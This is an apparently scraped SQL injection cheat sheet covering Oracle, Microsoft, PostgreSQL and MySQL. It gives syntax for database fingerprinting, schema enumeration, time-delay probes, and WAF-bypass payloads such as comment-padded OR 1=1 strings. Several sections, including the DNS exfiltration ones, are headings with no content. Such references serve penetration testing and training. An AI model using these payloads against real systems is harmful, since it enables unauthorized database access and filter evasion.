cheat sheet

Comments

Oracle, Microsoft, PostgreSQL - --comment Microsoft, PostgreSQL, MySQL - /*comment*/ MySQL - #comment, -- comment

Database Version

Oracle - SELECT banner FROM v$version, SELECT version FROM v$instance, SELECT * FROM v$version Microsoft, MySQL - SELECT @@version PostgreSQL - SELECT version()

Database contents

# Oracle
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE_NAME'

# Microsoft, PostgreSQL, MySQL
SELECT * FROM information_schema.tables
# columns - TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME, TABLE_TYPE

SELECT * FROM information_schema.columns WHERE table_name = 'TABLE_NAME'
# columns - TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, DATA_TYPE

String Concatenation

Oracle, PostgreSQL - 'foo' || 'bar' Microsoft - 'foo'+'bar' MySQL - 'foo' 'bar', CONCAT('foo', 'bar')

Substring

Oracle - SUBSTR('foobar', 4, 2) Microsoft, PostgreSQL, MySQL - SUBSTRING('foobar', 4, 2)

Conditional Errors

Time delays

Oracle - dbms_pipe.receive_message(('a'), 10) Microsoft - WAITFOR DELAY '0:0:10' PostgreSQL - SELECT pg_sleep(10) MySQL - SELECT SLEEP(10)

Conditional time delay

DNS Lookup

  • Oracle

  • Microsoft

  • PostgreSQL

  • MySQL (windows only)

DNS lookup with data exfiltration

  • Oracle

  • Microsoft

  • PostgreSQL

  • MySQL The following technique works on Windows only:

WAF bypass

  • No whitespace using comments - '/**/OR/**/1=1/**/--

  • No whitespace using parenthesis - AND(1)=(1)--

  • No equal using LIKE, (NOT) IN, BETWEEN - 'text' LIKE 'text', 'text' IN 'text', 'b' BETWEEN 'a' AND 'c'

  • No AND or OR - && and ||

  • No > or < - NOT BETWEEN a AND b

  • No WHERE - HAVING

  • No comma

  • No information_schema.tables - SELECT * FROM mysql.innodb_table_stats;, SHOW TABLES in db;

Last updated